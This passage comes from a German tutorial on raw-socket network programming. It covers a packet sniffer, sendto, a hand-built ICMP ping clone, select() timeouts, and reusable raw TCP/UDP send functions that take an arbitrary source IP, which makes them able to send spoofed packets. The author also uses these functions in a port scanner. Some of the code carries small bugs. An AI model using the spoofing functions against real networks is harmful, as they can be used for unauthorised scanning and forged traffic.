printf("\n"); data(dats, bytes-(sizeof(struct iphdr)+sizeof(struct tcphdr))); printf("\n\n"); } } memset(buffer, '\0', BUFFSIZE); } return (0); } Hier die main Funktion. Wir erstellen uns einen TCP Raw-Socket. Mit den Variablen „r_flags“ und „r_data“ koenne wir ueberpruefen ob der Benutzer die Flags oder den Dateninhalt angezeigt haben moechte. Wir arbeiten mit hilfe der „i“ Variablen Argument fuer Argument durch und suchen nach gesetzten Optionen. Wir installieren unseren Signalhandler fuer Interupt-Signale. Es ist nun Zeit unser empfangs Datenpaket zu deklarieren und initailisieren. Wir setzen also in den Datenpuffer unsere IP und TCP Strukturen. Nun starten wir eine Endlosschleife, die immer dann TRUE ist, wenn die „read“ Funktion ueber den Raw-Socket Daten erhaelt. Dann ueberpruefen wir, ob wir das Packet anzeigen sollen. Wenn es dem richtigem Dest oder Sourceport entspricht, beginnen wir mit der Anzeige des Zielports, der Absendeadresse sowie Absendeport. Dann schauen wir mit hilfe der „r_flags“ Variablen ob der Benutzer die gesetzten Flags angezeigt haben moechte. Wenn ja tun wir dies mit hilfe der „flags“ Funktion. Das gleiche geschiet mit dem Dateninhalt und der „r_data“ Variablen. „dats“ ist ein Zeiger auf den Dateninhalt und wenn wir von den entpfangenem Daten („bytes“) den IP und TCP Header abziehen, erhalten wir die Summe des Dateninhaltes in Bytes. Nach alle dem loeschen wir den Inhalt des Puffers via „memset“ und die Schleife wird weiter fortgesetzt, es sei den der Prozess erhaelt ein interupt-Signal. 6.3 sendto Obwohl wir diese Funktion bereits von UDP Anwendungen kennen, werden wir sie hir nocheinmal durchgehen, da ohne sie nichts laeuft. In diesem Programm befassten wir uns also mit dem Datenempfang durch einen Raw-Sock. Nun wollen wir uns mit dem versenden von selbst erstellten Datenpaketen befassen. Dazu verwenden wir die „sendto“ Funktion. Diese Funktion wird in der Regel fuer die Handhabung mit UDP gebraucht, aber sie eignet sich ebenfalls gut fuer Raw-IP. #include ssize_t sendto(int sockfd, const void *buffer, size_t nbytes, int flags, struct sockaddr *to, socklen_t *addrlen); Rueckgabewerte Wenn Ok gibt die Funktion die Anzahl der gesendeten Bytes aus. Bei einem Fehler erhalten wir -1. Argumente Das erste Argument ist der Socket ueber den gesendet werden soll. „buffer“ ist der Datenpuffer der versand wird und „nbytes“ dessen Groesse. Den Wert „flags“ lassen wir bei 0. Mit hilfe einer „sockaddr“ Struktur namens „to“ verweisen wir auf das Sendeziel. „addrlen“ ist wie gehabt die groesse der Struktur in Bytes. Beispiel if(sendto(rawsock, puffer, sizeof(puffer), 0, (struct sockaddr *)&servaddr, sizeof(servaddr)) != sizeof(puffer)) fprintf(stderr, “cannot send to whole paket\n”); Als erstes Argument nehmen wir einen Raw-Socket mit dem “puffer” mit der Groesse “sizeof(puffer)” versendet werden soll. Die Zielinformationen befinden sich in „servaddr“. Wenn „sendto“ nicht alle Bytes von „puffer“ gesandt hat, bekommen wir hier eine Fehlermeldung. 7.4 Beispielprogramm Nun nachdem wir wissen wie wir Datenpakete versenden, werden wir eine billige Version des „ping“ Programms schreiben. Dieses Programm wird ein ICMP echo Paket (code=0&&type=8) versenden und auf ein ICMP echo-reply(code=0&&type=0) warten. Wir werden hier noch eine neue Funktion im schnelldurchlauf erklaeren: „setsockopt“. /*pong v 0.5 - l0om*/ #include #include #include #include unsigned short in_cksum(unsigned short *ptr, int nbytes); int read_answer(int *sock); Zwei Funktionsprototypen benoetigen wir. Mit „in_cksum“ berechnen wir die Checksumme des ICMP Pakets (was eine checksumme ist sollte klar sein...) und mit „read_answer“ werden wir auf das echo-reply warten. unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return(answer); } Wenn Checksummen berechnet werden, wird oftmals die oben aufgefuehrte Funktion benutzt. Diese stammt nicht vom Author, wird aber immer wieder gerne von ihm benutzt ;). int read_answer(int *sock) { char buff[1024]; struct iphdr *ip; struct icmphdr *icmp; ip = (struct iphdr *)buff; icmp = (struct icmphdr *) (buff + sizeof(struct iphdr)); if(read(*sock, buff, sizeof(buff)) > 0) { if(icmp->type == 0 && icmp->code == 0) return 1; else return -1; } return 0; } An diese Funktion uebergeben wir unsern Raw-ICMP-Socket, auf dem wir spaeter auf eine Antwort horchen werden. Zunaechst deklarieren wir einen Datenpuffer von 1024 Bytes und setzten die IP und danach die ICMP Struktur in diesen ein. Nun rufen wir „read“ auf und horchen auf eine Antwort. Wenn wir eine ICMP Message lesen, sehen wir uns zunaechst type und code an. Haben wir es mit einem echo reply zu tun, gibt die Funktion den Reuckkgabewert 1 aus. Andernfalls wird -1 ausgegeben. int main(int argc, char **argv) { int sockfd, test = 1; char *packet; struct iphdr *ip; struct icmphdr *icmp; struct sockaddr_in server; char *tests = "hallo"; if(argc != 3) { printf("usage: pong [sourceip] [destip]\n"); return -1; } ip = (struct iphdr *) malloc(sizeof(struct iphdr)); icmp = (struct icmphdr *) malloc(sizeof(struct icmphdr)); packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct icmphdr)+sizeof(tests)+1); memset(packet, '\0',sizeof(packet)); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); strcpy(packet+sizeof(struct iphdr)+sizeof(struct icmphdr),tests); ip->ihl = 5; ip->version = 4; ip->tos = 0; ip->tot_len = sizeof(struct iphdr) + sizeof(struct icmphdr)+sizeof(tests)+1; ip->id = htons(getuid()); ip->ttl = 255; ip->protocol = IPPROTO_ICMP; ip->saddr = inet_addr(argv[1]); ip->daddr = inet_addr(argv[2]); sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP); if(sockfd < 0) { printf("error cannto creat socket\n"); return -1; } if( (setsockopt(sockfd, IPPROTO_IP,IP_HDRINCL,&test,sizeof(test))) < 0) { printf("couldnt set IP_HDRINCL\n"); return -1; } icmp->type = 8; icmp->code = 0; icmp->un.echo.id = 0; icmp->un.echo.sequence = 0; icmp->checksum = 0; icmp->checksum = in_cksum((unsigned short *)icmp,sizeof(struct icmphdr)+sizeof(tests)+1); ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); server.sin_family = AF_INET; server.sin_port = htons(80); /* doesnt matter */ server.sin_addr.s_addr = inet_addr(argv[2]); if( (sendto(sockfd,packet,ip->tot_len,0,(struct sockaddr *)&server, sizeof(struct sockaddr))) < ip->tot_len) { printf("cannot send the packet\n"); return -1; } printf("done!\n"); if(read_answer(&sockfd) == 1) printf("received answer- host is up\n"); else printf("didnt receive answer\n"); return 0; } Wir deklarieren wie gehabt zunaechst unser Datenpaket und die noetigen Header. Ausserdem legen wir den Dateninhalt fest. Wir werden den String den „test“ enthaelt als Dateninhalt versenden. Das hat eigenltich keinen tieferen zweck, sondern soll dem Leser den Umgang mit dem Datenbereicht naeher bringen. Nun ueberpruefen wir ob das Programm richtig aufgerufen wurde. Das erste Argument muss die Source IP-Adresse sein und das zweite Argument muss die Dest IP-Adresse sein. Es ist dann Zeit den IP-Header auszufuellen. Dann erstellen wir uns unseren ICMP-Raw-Socket und erkennnen nun eine neue Funktion. Mit dieser Form des Aufrufs der Funktion, veranlassen wir den Kernel dazu die Finger von dem von uns erstelltem Datenpaket zu lassen. Wenn wir diese Funktion nicht benutzen wuerden, wuerde der Kernel wohl oder uebel ueber Felder wie IP-Source bestimmen. Die Konstante „IP_HDRINCL“ sagt dem Kernel, dass er den IP-Header unberuehrt lassen soll. Wir werden nicht naeher auf diese Funktion eingehen, da wir diese Funktion nur in dieser Form gebrauchen. Fuer Informationen: l0om@home:~> man setsockopt Es ist nun Zeit die ICMP Daten auszufuellen und uns danach der altbekannten „sockaddr“ Struktur zuzuwenden. Nun rufen wir „sendto“ in einer „if“ Struktur auf und ueberpruefen gleich, ob das komplette Packet versendet wurde. Wenn ja, erhalten wir ein „done!“ und die „read_answer“ Funktion wird aufgerufen. Als Argument an diese Funktion geben wir die Referenz von unserem Raw-Socket. Bei einem Rueckgabewert von 1 sollen wir natuerlich Nachricht darueber erhalten. Andernfalls ein „didnt receive answer“ ueber stdout. Ein Test mit einem Remothost im localem Netzwerk: root:~ # gcc -o pong pong.c root:~ # ./pong 192.168.1.102 192.168.1.1 done! received answer- host is up root:~ # ./pong 192.168.1.102 1.1.1.1 # Nun ein ping an einen nicht existierenden host... done! ^C # nach langem warten mit Ctrl+C abgebrochen - interupt gesandt! Bei einem Ping an einen aktiven Host im localem Netzwerk, erhalten wir eine Benachrichtigung darueber, dass wir ein echo-reply empfingen. „read“ empfing also Daten. Bei dem ping an einen nich existierenden Host, bleibt das Programm mitten drin stehen. Wie kommt es dazu? Die „read“ Funktion die wir in der „read_answer“ Funktion aufrufen, ist so ausgelegt, dass sie blockiert bis sie Daten zu lesen bekommt. Andernfalls gibt „read“ keinen Rueckgabewert. Das bedeutet gleichzeitig, dass wir in der „if“ Schleife nicht weiter kommen, wenn keine Antwort eintrifft. Wir brauchen also fuer den korrekten Ablauf des Programms eine nichtblockierende Alternative, die uns nach einer gewissen Zeit sagt, dass sie nichts empfangen hat. Dazu sehen wir uns eine sehr nuetzliche Funktion an. 7.5 select Mit dieser Funktion werden wir in die Lage versetzt, auf ein bestimmtes Ereignis zu warten und entweder bei der Erfuellung oder bei der Zeitueberschreitung, wieder aktiv zu werden. Funktionsdefinition #include #include /* optimal */ int select(int maxfd, fd_set *readset, fd_set *writeset, fd_set *exceptset, const struct timeval *timeout); Rueckgabewert Eine positive Zahl, die die Anzahl bereiten Diskribtoren darstellt. Bei einem Timeout wird 0 zurueckgegeben und bei einem Fehler -1. Argumente Zunaechst werden wir auf die letzten vier Argumente kommen. Wir werfen wir einen Blick auf die "timval" Struktur. Diese enthaelt zwei Strukturelemente: long tv_sec; /*seconds to wait */ long tv_usec; /* u-seconds to wait */ Es gibt drei Moeglichkeiten: Die Funktion kann fuer immer warten, bis einer der drei moeglichen Diskribtoren bereit ist. Dazu geben wir die NULL Konstante an. Das warten einer bestimmten Zeitspanne. Die Funktion kehrt also nur dann zurueck, wenn einer der drei moelgichen Diskribtoren bereit ist, oder wenn die Zeit verstrichen ist. Die Zeit initialisieren wir mit Hilfe der Strukturelemente. Wir koennen auch das warten total vermeiden. Das bedeutet im Klartext, die Funktion ueberprueft nur einmal die Deskribtoren und kehrt dann zurueck. Dazu geben wir beiden Variablen von der "timeval" Struktur den Wert 0. Die drei mittleren Argumente readset, writeset und exceptset geben die Diskribtoren an, die vom Kernel auf Lese, Schreib und Ausnahmebedingungen getestet werden sollen. Wann ist eine Ausnahmebedinung erfuellt? Wenn: -Die Ankunft von Out-of-Band-Daten auf einen Socket zutrifft. -Die Praesenz einer Steuerstatusinformation, die von der Master- Seite eines Terminals gelesen werden soll antrifft. Wann ist eine Lesebedingung erfuellt? Wenn: -Daten bei dem Socket eintreffen. -Es wurde ein FIN empfangen. Das hat zur Folge, dass die Leseoperation nicht weiter blockiert und so zurueck kehrt. -Der Socket ist ein horchender Socket (listen()) und hat eine vollstaendige Verbindung via "accept" erhalten. -Ein Socketfeheler eintritt. Wenn beispielsweise eine Leseoperation nicht blockiert und eine Fehler zurueck gibt. Wann ist eine Schreibbedingung erfuellt? Wenn: -Der Socket hat Daten zum versand empfangen und ist verbunden. Das ist jedoch nur wichtig wenn es sich um eine TCP Verbindung handelt. Ein UDP oder Raw-Socket benoetigt keine Verbindung. -Die schreibende Haelfte der Verbindung wurde geschlossen. -Eine Schreiboperation schlug fehl und gibt einen negativen Rueckgabewert. Um nun bestimmte Sockets (oder jeden erdenklichen Diskribtor) mit select auf bestimmte Merkmale zu ueberpruefen, verwenden wir vier Makros. In Kurzfassung wird dem Variablentyp "fd_set" mindestens ein Deskribtor zugewiesen. void FD_ZERO(fd_set *fdset); /* loescht alle Bits in fdset */ void FD_SET(int fd, fd_set **fdset); /* schaltet Bit fuer "fd" in "fdset" ein. /* void FD_CLR(int fd, fd_set **fdset); /* loescht Bit fuer "fd" in "fdset" */ int FD_ISSET(int fd, fd_set **fdset); /* ist das Bit "fd" in "fdset" an/bereit? */ "maxfd" sagt der Funktion "select" wieviele Diskribtoren er zu ueberwachen hat. Am besten ist es meiner Meinung nach, wenn man Diskribtor fuer Diskribtor addiert. Niemals(!) den einen extra Diskribtor vergessen. Wir addieren immer noch eine 1 zu unserer Summe. Warum, ist in diesem Fall egal (es geht sich um den Index von Arrys, die bekanntlich mit 0 beginnen...). Beispiel: Wir wollen zwei sockets auf Lesebereitsschaft ueberpruefen. /* start */ fd_set rset; ... FD_ZERO(&rset); FD_SET(socket_one, &rset); FD_SET(socket_two, &rset); /* nun werden beide Sockets via rset ueberprueft - fuer was, legen wir nun fest */ select(socket_one+socket_two+1, &rset, NULL, NULL, NULL) /*sleep forever */ ... if(FD_ISSET(socket_one, &rset))) /*socket_one zum lesen bereit?*/ do_something_with_sock(socket_one); ... if(FD_ISSET(socket_two, &rset))) /*socket_two zum lesen bereit?*/ do_something_with_sock(socket_two); ... /* end */ Wir deklarieren uns also eine Variable vom Typ "fd_set" namens "rset". Diese Variable setzen wir komplett auf 0. Das geschieht mit dem "FD_ZERO" Makro. Nun setzten wir bestimmte Bits auf TRUE um der Variablen "rset" mitzuteilen, welche Diskribtoren wir ueberpruefen moechten. Dies erreichen wir mit Hilfe dem "FD_SET" Makro. Nun rufen wir "select" auf. Bei "maxfd" addieren wir alle benoetigten Diskribtoren und vergessen nicht das "+1" am Ende. Bei dem "readfd" Argument setzen wir unsere Variable "rset" ein und ueberpruefen hiermit, ob einer der beiden Sockets lesebereit ist. Bei dem "timeval" setzten wir NULL ein- wir warten ewig bis einer der beiden Sockets lesebereit ist. Wir nehmen an, dass es irgendwann weitergeht und muessen dann nur noch festellen, welcher der beiden Diskribtoren lesebereit ist. Das tun wir mit dem "FD_ISSET" Makro. 7.6 Verbesserung zu „pong“ Nun wissen wir wie wir unser vorheriges Problem, der blockierenden Leseoperation, beheben koennen. Wie sieht das nun in der Praxis aus? Wir brauchen nur zwei weitere Header einzufuegen. Naemlich "sys/time.h" und "sys/select.h" und koennen dann beginnen die Funktion "read_answer" zu ueberarbeiten. Hier die bessere Loesung: int read_answer(int *sock) { char buff[1024]; struct iphdr *ip; struct icmphdr *icmp; fd_set rset; struct timeval tv; FD_ZERO(&rset); FD_SET(*sock, &rset); tv.tv_sec = 3; /* we wait 3 seconds for an answer */ tv.tv_usec = 0; ip = (struct iphdr *)buff; icmp = (struct icmphdr *) (buff + sizeof(struct iphdr)); select(*sock+1, &rset, NULL, NULL, &tv); if(FD_ISSET(*sock, &rset)) { if(read(*sock, buff, sizeof(buff)) > 0) { if(icmp->type == 0 && icmp->code == 0) return 1; else return -1; } } return 0; } Mit dieser leicht ueberarbeiteten Version des Programms, haben wir unser Problem geloest. Die Leseoperation blockiert lediglich drei Sekunden (tv_sec) oder empfaengt ICMP-Daten. #########NOTE######### Die Funktion enthaelt noch einen Fehler, den ihr bei Lust und Laune selber beheben koennt. pingt euch mal selbst an und seht was passiert... ###################### Die „select“ Funktion wird auch in vielen Server-Applicantionen verwendet, um dass Blockieren von Funktionen zu verhindern. 7.7 Funktionen zur einfachen/schnellen Raw-Socket programmierung Ich werde hier nun selbstegeschriebene (und funktionierende) Raw-IP Funktionen einfuegen. Mit hilfe dieser Funktionen koennt ihr- wenn ihr wollt- tcp und udp raw Pakete versenden. Jeder Hannes ist herzlich dazu aufgefordert, diese Funktionen zu verwenden. Ein Beispiel fuet Icmp ist ja bereits oben aufgefuehrt... Die Funktionen geben 0 bei Fehler oder die gesendete Anzahl der Bytes zurueck wenn alles gut ging. ----start here---- /* prototyp tcp send */ ssize_t tcpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, unsigned char flags, char *data, unsigned short datalen); /* prototyp udp send */ ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen); /* prototyp checksum */ unsigned short in_cksum(unsigned short *ptr, int nbytes); /* define the pseudohdr */ struct pseudohdr { /* for creating the checksums */ unsigned long saddr; unsigned long daddr; char useless; unsigned char protocol; unsigned short length; }; ssize_t tcpsend(unsigned int saddr, unsigned int daddr, unsigned short sport, unsigned short dport, unsigned char flags, char *data, unsigned short datalen) { char *packet; struct iphdr *ip; struct tcphdr *tcp; struct pseudohdr *pseudo; struct sockaddr_in servaddr; int retval, sockfd, on = 1; packet = (char *)malloc((sizeof(struct iphdr)+ sizeof(struct tcphdr)+datalen)*sizeof(char)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(dport); servaddr.sin_addr.s_addr = daddr; sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(sockfd < 0) { fprintf(stderr,"cannot creat socket\n"); return(0); } if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) { fprintf(stderr, "cannot setservaddr\n"); return(0); } ip = (struct iphdr *)packet; tcp = (struct tcphdr *)(packet + sizeof(struct iphdr)); pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct pseudohdr)); memset(packet, 0x00, sizeof(packet)); memcpy(packet+sizeof(struct iphdr)+sizeof(struct tcphdr), data, datalen); pseudo->saddr = saddr; pseudo->daddr = daddr; pseudo->protocol = IPPROTO_TCP; pseudo->length = htons(sizeof(struct tcphdr) + datalen); tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = rand() + rand(); tcp->th_ack = rand() + rand(); tcp->th_off = 5; tcp->th_flags = flags; tcp->th_win = htons(2048); tcp->th_sum = in_cksum((unsigned short *)pseudo, sizeof(struct tcphdr) + sizeof(struct pseudohdr) + datalen); memset(ip, 0x00, sizeof(struct iphdr)); ip->version = 4; ip->ihl = 5; ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct tcphdr) + datalen); ip->id = rand(); ip->ttl = 255; ip->protocol = IPPROTO_TCP; ip->saddr = saddr; ip->daddr = daddr; ip->check = in_cksum((unsigned short *)ip, sizeof(struct iphdr)); if((retval = sendto(sockfd, packet, ntohs(ip->tot_len), 0, &servaddr, sizeof(servaddr))) == -1) return(0); close(sockfd); return(retval); } ssize_t udpsend(u_int saddr, u_int daddr, unsigned short sport, unsigned short dport, char *data, unsigned short datalen) { struct sockaddr_in servaddr; struct iphdr *ip; struct udphdr *udp; struct pseudohdr *pseudo; char packet[sizeof(struct iphdr)+sizeof(struct udphdr)+datalen]; int nbytes, sockfd, on = 1; sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if(sockfd < 0) { fprintf(stderr,"cannt creat socket\n"); return(0); } if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) { fprintf(stderr, "cannot setsockopt\n"); return(0); } memset(packet, 0x00, sizeof(packet)); memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr), data, datalen); servaddr.sin_addr.s_addr = daddr; servaddr.sin_port = htons(dport); servaddr.sin_family = AF_INET; ip = (struct iphdr *)packet; udp = (struct udphdr *)(packet + sizeof(struct iphdr)); pseudo = (struct pseudohdr *)(packet + sizeof(struct iphdr) - sizeof(struct pseudohdr)); udp->uh_sport = htons(sport); udp->uh_dport = htons(dport); udp->uh_sum = 0; udp->uh_ulen = htons(sizeof(struct udphdr)+datalen); pseudo->saddr = saddr; pseudo->daddr = daddr; pseudo->useless = 0; pseudo->protocol = IPPROTO_UDP; pseudo->length = udp->uh_ulen; udp->uh_sum = in_cksum((u_short *)pseudo,sizeof(struct udphdr)+sizeof(struct pseudohdr)+datalen); ip->ihl = 5; ip->version = 4; ip->tos = 0x10; ip->tot_len = sizeof(packet); ip->frag_off = 0; ip->ttl = 69; ip->protocol = IPPROTO_UDP; ip->check = 0; ip->saddr = saddr; ip->daddr = daddr; nbytes = sendto(sockfd, packet, ip->tot_len, 0, (struct sockaddr *)&servaddr, sizeof(servaddr)); close(sockfd); return(nbytes); } unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while(nbytes > 1) { sum += *ptr++; nbytes -= 2; } if(nbytes == 1) { oddbyte = 0; *((u_char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return(answer); } ----end here---- Diese Funktionen nutze ich ebenfalls im tcp/udp scanner “gull”. Wenn also noch unverstaendnis zum bentuzten dieser Funktionen bestehen sollte, kann ich bei gull.c schlau machen. 7.0 Schlusswort Dies war also nun der Einstieg in die Netzwerkprogrammierung. Es wurde nur das wichtigste besprochen und wir haben auch einen fluechtigen Blick ueber UDP Applikationen geworfen. Ich hoffe ihr habt was gelernt und fandet die Programmbeispiele interessant und passend. Ich fuer meinen Teil, hab nun genug geschreiben und denke, dass dies fuer einen Einstieg reichen sollte. Daher belasse ich es bei einem klugen Spruch: "Stein auf Stein, mit Vorbedacht, gibt zuletzt auch ein Gebaeude." -Goethe 8.0 Greets Greets fly out to the whole Toxic Source Developers: blowfish and lexdiamond. Greets to all Members of European Security Crew like: Xnet, ProXy, Takt, nixon, Havoc][, Synopsis, Cyniker ... All coders and security fans. Allen Menschen die auf der Suche nach dem Licht sind. "ich traf dich im kreise des lichts. deine geschenke waren glaube, hoffnung und liebe. heute weiss ich, es gab keinen anfang, aber auch kein ende." -l0om